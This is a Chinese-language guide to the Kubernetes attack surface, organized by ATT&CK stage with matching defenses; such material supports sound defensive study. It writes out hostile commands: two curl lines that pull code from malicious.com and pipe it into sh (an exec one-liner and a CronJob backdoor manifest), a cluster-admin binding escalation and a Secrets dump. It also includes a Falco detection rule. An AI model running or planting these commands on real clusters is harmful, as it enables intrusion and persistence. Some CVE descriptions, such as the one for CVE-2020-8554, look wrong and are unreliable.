Kubernetes（K8s）作为云原生基础设施的核心底座，其分布式架构与动态调度特性在提升业务弹性的同时，也形成了多维度攻击面。攻击者通常遵循"初始突破-环境探查-代码执行-权限扩张-横向渗透-持久控制"的生命周期实施攻击，每个环节均存在利用K8s原生特性的独特攻击路径。本文结合MITRE ATT&CK容器攻击矩阵与2024-2025年典型漏洞案例，深度拆解攻击链路并提供对应防御策略。

一、初始访问：突破集群边界的核心入口

初始访问阶段，攻击者主要通过K8s集群的暴露面或供应链弱点获取初步立足点，核心攻击路径围绕"配置缺陷"与"漏洞利用"展开。

核心攻击路径

1. 控制平面暴露与未授权访问

   • 攻击手段：API Server公网暴露且未启用TLS或RBAC认证（如CVE-2020-8554漏洞），攻击者直接通过kubectl --server=https://<公网IP>:6443访问集群；etcd数据库2379端口未鉴权暴露，导致集群数据被窃取或篡改。
   • 典型案例：2025年某云厂商因运维误操作，将测试环境etcd公网暴露3小时，导致120个集群的Service Account令牌泄露。

2. Ingress控制器漏洞突破

   • 攻击手段：利用Ingress-nginx高危漏洞（如CVE-2025-1974，CVSS评分9.8）执行任意代码，该漏洞可绕过权限校验直接获取控制器权限，而默认安装的Ingress控制器拥有集群级Secret访问权限。
   • 利用流程：发送构造的HTTP请求→触发控制器代码执行→读取/var/run/secrets/kubernetes.io/serviceaccount/token获取集群凭证。

3. 供应链与镜像漏洞注入

   • 攻击手段：CI/CD流水线未启用镜像扫描，攻击者通过恶意依赖包（如植入后门的Python库）污染基础镜像；或直接上传伪装成业务镜像的恶意镜像至私有仓库，内含反向Shell后门。
   • 隐蔽性操作：采用多阶段构建伪装，构建阶段清除恶意痕迹，运行阶段通过memfd系统调用在内存中加载后门。

4. 凭证泄露与滥用

   • 攻击手段：从代码仓库窃取硬编码的kubeconfig文件；利用容器日志泄露的Service Account令牌；通过默认账户（如kube-admin弱密码）暴力破解（契合MITRE ATT&CK"有效账户"战术）。

防御策略

1. 控制平面加固

   • 网络隔离：API Server、etcd仅通过内网IP暴露，结合VPN或堡垒机实现访问控制；禁用非必需端口（如kubelet的10250端口）。
   • 认证强化：启用API Server的TLS双向认证，配置RBAC拒绝匿名访问；etcd启用--client-cert-auth强制证书验证。

2. Ingress与组件防护

   • 漏洞修复：立即升级Ingress-nginx至v1.11.5及以上版本，临时缓解可禁用验证准入控制器功能；定期同步K8s安全公告，修复高危组件漏洞。
   • 访问控制：为Ingress配置WAF规则，拦截异常HTTP请求；限制Ingress控制器的Service Account权限，仅授予必要的Secret访问权。

3. 供应链与镜像安全

   • 镜像管控：部署Harbor仓库并启用Notary镜像签名验证，K8s集群通过准入控制器拒绝未签名镜像部署；CI/CD流水线集成Trivy扫描镜像，高危漏洞（CVSS≥9.0）24小时内修复。
   • 凭证防护：使用Secrets Store CSI驱动注入密钥，避免硬编码；定期轮换Service Account令牌，有效期不超过7天。

4. 入侵检测

   • 部署kube-hunter执行被动扫描，检测公网暴露的集群端口与默认账户；配置Prometheus监控API Server异常访问（如高频匿名请求）。

二、探测：绘制集群拓扑与权限地图

攻击者获取初始访问后，会通过K8s原生工具与接口收集环境信息，为后续攻击规划路径，核心目标是"识别权限边界"与"定位高价值资源"。

核心攻击路径

1. 集群信息枚举

   • 基础探测：通过kubectl cluster-info获取控制平面地址，kubectl get nodes -o wide枚举节点资源与标签；执行kubectl api-versions确认API支持版本，寻找旧版本漏洞（如CVE-2024-10220仅影响特定K8s版本）。
   • 工具自动化：运行kube-hunter的--active模式，主动探测集群漏洞（如是否允许特权容器创建）；使用cdk-team工具包扫描容器逃逸入口。

2. 权限与资源探查

   • 权限枚举：通过kubectl auth can-i --list查看当前账户权限，kubectl get clusterroles,clusterrolebindings识别高权限角色绑定；检查默认ServiceAccount是否自动挂载（automountServiceAccountToken: true）。
   • 敏感资源定位：执行kubectl get secrets --all-namespaces -o jsonpath='{.items[*].data}'提取加密的敏感数据；通过kubectl get pods --all-namespaces -l app=db定位数据库等核心服务。

3. 网络拓扑探测

   • 内部扫描：在容器内使用nmap扫描集群网段（通常为10.42.0.0/16），识别开放端口与服务；通过kubectl get ingresses获取外部访问入口，kubectl get services探查ClusterIP与NodePort服务。
   • 依赖分析：查看Pod的env环境变量与volumeMounts配置，识别数据库地址、缓存服务等依赖资源。

防御策略

1. 权限最小化与访问控制

   • 禁用默认挂载：为非必需的ServiceAccount设置automountServiceAccountToken: false，避免容器内获取令牌。
   • 限制枚举操作：通过RBAC拒绝非管理员账户的list、watch权限，例如禁止default账户访问kube-system命名空间资源。

2. 网络隔离与探测阻断

   • 部署NetworkPolicy：默认拒绝Pod间的ICMP与端口扫描流量，仅允许业务必需的端口通信（如前端Pod访问后端8080端口）；使用Calico CNI实现Pod级别的网络隔离。
   • 容器加固：采用最小化镜像（如Alpine），移除nmap、curl等探测工具；通过Seccomp限制容器内的网络扫描系统调用。

3. 日志审计与异常检测

   • 启用API审计：配置API Server的--audit-log-path参数，记录所有get、list操作，重点监控跨命名空间的资源访问。
   • 行为基线：利用Falco创建探测行为规则，如监控容器内执行kubectl、nmap等命令时触发告警，规则示例：

     - rule: Unauthorized Cluster Probe
       desc: Detect commands used for cluster enumeration
       condition: spawned_process and container and (proc.name in ("kubectl", "nmap", "curl") and proc.args contains "--all-namespaces")
       output: "Cluster probe detected (container=%container.name, cmd=%proc.cmdline)"
       priority: WARNING
     

三、执行：在集群内运行恶意代码

执行阶段是攻击者将"访问权"转化为"控制权"的关键，通过K8s原生功能或漏洞在容器、节点甚至控制平面执行恶意指令。

核心攻击路径

1. 容器内命令执行

   • 直接执行：若拥有exec权限，通过kubectl exec -it <pod-name> -- /bin/sh获取交互式Shell；利用应用漏洞（如Log4j2 RCE）在业务容器内执行命令。
   • 隐蔽执行：通过kubectl exec <pod-name> -- nohup sh -c "curl http://malicious.com/backdoor | sh &"后台运行恶意脚本，避免终端退出导致进程终止。

2. 恶意工作负载部署

   • 伪装部署：创建名为"monitoring-agent"的Deployment，镜像使用伪装成监控工具的恶意镜像（如alpine:malicious），内含反向Shell。
   • 特权容器利用：部署securityContext.privileged: true的Pod，直接获取容器内root权限，为后续逃逸做准备；通过hostPID: true共享宿主机PID命名空间。

3. 利用漏洞执行代码

   • 存储卷漏洞：利用CVE-2024-10220，部署配置gitRepo卷的Pod，通过Git仓库钩子在容器外执行命令，实现跨容器边界攻击。
   • 控制器漏洞：利用Ingress-nginx的CVE-2025-1974漏洞，发送构造的请求在控制器容器内执行cat /var/run/secrets/kubernetes.io/serviceaccount/token获取凭证。

防御策略

1. 限制执行权限与入口

   • 禁用危险操作：通过RBAC拒绝非管理员的exec、attach权限；在生产环境禁用privileged容器，通过Pod Security Standards（PSS）设置restricted级别。
   • 准入控制拦截：部署OPA Gatekeeper或Kyverno，创建规则拦截恶意部署，如拒绝使用hostPID、hostNetwork的Pod，禁止拉取未认证仓库的镜像。

2. 漏洞修复与运行时防护

   • 组件升级：及时修复已知漏洞，如升级K8s集群至v1.27.9-r0及以上版本修复CVE-2024-10220；确保containerd版本≥1.6.18以修复CVE-2024-21626逃逸漏洞。
   • 动态行为监控：使用Falco监控容器内异常进程，如检测到nohup、nc等后台进程或反向连接行为时，自动终止容器并隔离节点。

3. 镜像与代码管控

   • 镜像白名单：仅允许部署企业内部仓库的镜像，禁止使用docker.io等公共仓库的镜像；通过多阶段构建移除镜像中的Shell与编译工具。
   • CI/CD阻断：在流水线中集成Checkov扫描K8s资源清单，拦截包含高危配置（如privileged: true）的部署文件。

四、权限提升：从普通权限到集群控制

权限提升是攻击链的核心环节，攻击者通过滥用配置、利用漏洞等方式突破当前权限边界，最终目标是获取cluster-admin权限或宿主机控制权。

核心攻击路径

1. RBAC权限滥用

   • 过度授权利用：若当前账户拥有create clusterrolebinding权限，执行kubectl create clusterrolebinding malicious-binding --clusterrole=cluster-admin --serviceaccount=default:current-sa直接升级为集群管理员。
   • 角色绑定继承：通过kubectl get rolebindings --all-namespaces寻找绑定高权限角色的ServiceAccount，窃取其令牌（如kube-system命名空间的kube-proxy账户）。

2. 容器逃逸与节点提权

   • 运行时漏洞逃逸：利用runc漏洞CVE-2024-21626，通过特定镜像配置突破Namespace隔离，访问宿主机/etc/shadow等敏感文件；若containerd版本≥1.6.18但runc未同步升级至1.1.12，漏洞仍可被利用。
   • 配置缺陷逃逸：通过hostPath挂载宿主机的/var/run/docker.sock，在容器内执行docker exec控制其他容器；利用/proc/sys/kernel/ns_last_pid等路径触发内核漏洞逃逸。

3. 控制平面组件攻击

   • etcd数据篡改：若获取etcd写入权限，修改/registry/secrets路径下的凭证数据，或删除关键Namespace导致业务中断。
   • kubelet未授权：利用kubelet 10250端口未授权访问，通过/run/exec接口执行命令，获取节点控制权。

防御策略

1. RBAC精细化配置

   • 最小权限原则：为ServiceAccount分配仅满足业务需求的权限，如数据库Pod的账户仅授予get、update Secrets权限，禁止create clusterrolebinding。
   • 权限审计：每季度使用kube-bench扫描RBAC配置，删除冗余的角色绑定；通过工具监控权限变更，如检测到cluster-admin角色绑定新增时触发告警。

2. 容器与节点加固

   • 禁用危险配置：禁止Pod挂载/var/run/docker.sock、/etc等敏感宿主机路径；通过securityContext配置readOnlyRootFilesystem: true，防止容器内写入恶意文件。
   • 启用强制访问控制：在节点上部署AppArmor或SELinux，限制容器的系统调用（如禁止mount、chroot）；配置Seccompprofile过滤危险操作。

3. 控制平面防护

   • etcd安全加固：启用etcd数据加密（--encryption-provider-config），限制访问IP为控制平面节点；定期备份etcd数据，防止篡改后无法恢复。
   • kubelet防护：启用kubelet的TLS认证（--anonymous-auth=false），配置--authorization-mode=Webhook对接RBAC。

五、横向移动：跨资源与节点的渗透扩散

横向移动阶段，攻击者利用集群内的信任关系与网络连通性，从初始立足点扩散至其他Pod、节点或命名空间，目标是获取高价值数据或更核心的权限。

核心攻击路径

1. 跨Namespace资源访问

   • 权限蔓延：利用拥有--all-namespaces权限的ServiceAccount，访问prod等核心命名空间的Pod与Secret；通过kubectl proxy转发内部服务，访问未暴露的数据库服务。
   • 配置缺陷：若NetworkPolicy未隔离命名空间，攻击者从test命名空间的Pod扫描并攻击prod命名空间的Redis服务（默认弱密码）。

2. 节点间横向渗透

   • 共享存储利用：通过hostPath或PV/PVC共享的存储卷，在不同节点的Pod间传递恶意文件；若存储卷包含SSH密钥，可直接登录其他节点。
   • 节点信任滥用：利用节点间的kubelet证书信任关系，通过已控制节点的kubelet客户端证书访问其他节点的10250端口。

3. 服务链攻击

   • 中间件漏洞：攻击集群内的共享中间件（如Elasticsearch、RabbitMQ），利用Log4j2、Heartbleed等漏洞获取权限，进而渗透至关联服务。
   • 凭证复用：窃取数据库Pod的连接凭证后，登录跨节点部署的数据库集群，获取全量业务数据。

防御策略

1. 网络隔离精细化

   • 命名空间隔离：为每个命名空间配置独立的NetworkPolicy，默认拒绝跨命名空间流量；仅允许明确授权的通信（如frontend命名空间访问backend命名空间的8080端口）。
   • Pod级访问控制：基于Pod标签定义规则，如仅允许app=api的Pod访问app=db的Pod 5432端口，禁止其他Pod通信。

2. 资源与凭证隔离

   • 存储安全：禁止跨节点的hostPath挂载；使用CSI驱动的加密存储卷，防止敏感数据在存储层泄露。
   • 凭证独立：为每个服务分配独立的数据库账号与Secret，避免一个服务泄露导致全集群凭证失效；定期轮换中间件访问密码。

3. 横向移动检测

   • 网络流量监控：部署Cilium等支持流量可视化的CNI，监控跨节点、跨命名空间的异常流量（如非业务时段的大量连接）。
   • 行为基线：利用AI安全工具（如Aqua Security）建立Pod通信基线，识别"订单服务连接境外IP"等异常行为。

六、持久化：构建长期控制通道

K8s的动态性（如Pod重建、节点扩容）使传统持久化手段失效，攻击者需利用K8s原生资源构建稳定、隐蔽的控制通道，确保攻击痕迹不被轻易清除。

核心攻击路径

1. K8s原生资源后门

   • 隐蔽工作负载：创建伪装成"metrics-collector"的DaemonSet，确保每个节点运行一个后门Pod，镜像伪装成amazon-k8s-cni等合法组件；通过nodeSelector仅在特定标签节点部署，降低暴露风险。
   • 定时任务：创建CronJob，每小时执行一次恶意脚本（如拉取最新后门、清理日志），命令示例：

     spec:
       schedule: "0 * * * *"
       jobTemplate:
         spec:
           template:
             spec:
               containers:
               - name: cron-backdoor
                 image: alpine
                 command: ["sh", "-c", "curl http://malicious.com/update | sh"]
     

2. 节点级持久化

   • 系统后门：在稳定节点（通过kubectl get nodes --sort-by=.metadata.creationTimestamp识别）植入定时任务（crontab -e），定期拉取反向Shell。
   • 工具替换：替换节点的ls、ps等系统工具为恶意变体，执行时触发后门连接；植入rootkit隐藏进程与文件。

3. 配置篡改持久化

   • kubelet配置修改：修改节点/var/lib/kubelet/config.yaml，添加静态Pod配置，重启kubelet后自动运行后门Pod。
   • Webhook劫持：创建恶意MutatingWebhookConfiguration，为新部署的Pod自动注入后门容器。

防御策略

1. 工作负载审计与监控

   • 异常资源检测：部署Falco监控DaemonSet、CronJob等持久化资源的创建，对名称包含"collector"、"agent"但来源不明的资源触发告警。
   • 定期审计：每周执行kubectl get pods --all-namespaces -o json | jq '.items[].spec.containers[].image'，排查未授权镜像；对比工作负载清单与基线配置，识别篡改。

2. 节点与配置防护

   • 节点加固：启用节点的文件完整性监控（如AIDE），监控/bin、/var/lib/kubelet等目录的篡改；禁用节点的SSH密码登录，仅允许密钥访问。
   • Webhook校验：限制MutatingWebhookConfiguration的创建权限，仅允许安全团队管理；审计Webhook的触发记录，识别异常注入行为。

3. 应急响应与清除

   • 后门清除流程：发现持久化后门后，先删除恶意工作负载与CronJob，再隔离受影响节点；使用节点镜像重置被篡改的系统工具与配置。
   • 凭证轮换：清除所有Secret与ServiceAccount令牌，重新部署核心服务，防止攻击者残留凭证复用。

七、攻击面防御体系全景图

K8s安全防护需构建"左移预防-中移检测-右移响应"的全生命周期体系，结合技术工具与流程规范形成闭环：

防护阶段	核心技术工具	关键流程规范	目标指标
设计与构建阶段	Checkov（配置扫描）、Trivy（镜像扫描）	新业务架构评审必过安全关卡；镜像SBOM追溯机制	高危配置拦截率100%
部署阶段	OPA Gatekeeper、Kyverno	准入规则定期更新（每季度）；禁止生产环境使用公共镜像	恶意部署拦截率≥95%
运行阶段	Falco、Cilium、Prometheus	安全事件分级响应（P0级15分钟内响应）；每日日志审计	异常行为检测时延<5分钟
应急阶段	kube-hunter、cdk-team	每季度攻防演练；后门清除操作手册落地	核心服务恢复时间<1小时

结语

K8s攻击面的防御核心在于"理解原生特性的双面性"——API Server的便利性可能成为入侵入口，RBAC的灵活性可能导致权限滥用，容器的隔离性可能被漏洞突破。攻击者的优势在于利用K8s的复杂性隐藏攻击路径，而防御者的关键则是通过"最小权限、深度隔离、持续监控"收缩攻击面，将K8s的原生安全能力转化为可落地的防护体系。随着CVE-2025-1974等新型漏洞的不断涌现，防御策略需结合威胁情报动态迭代，才能在云原生攻防对抗中占据主动。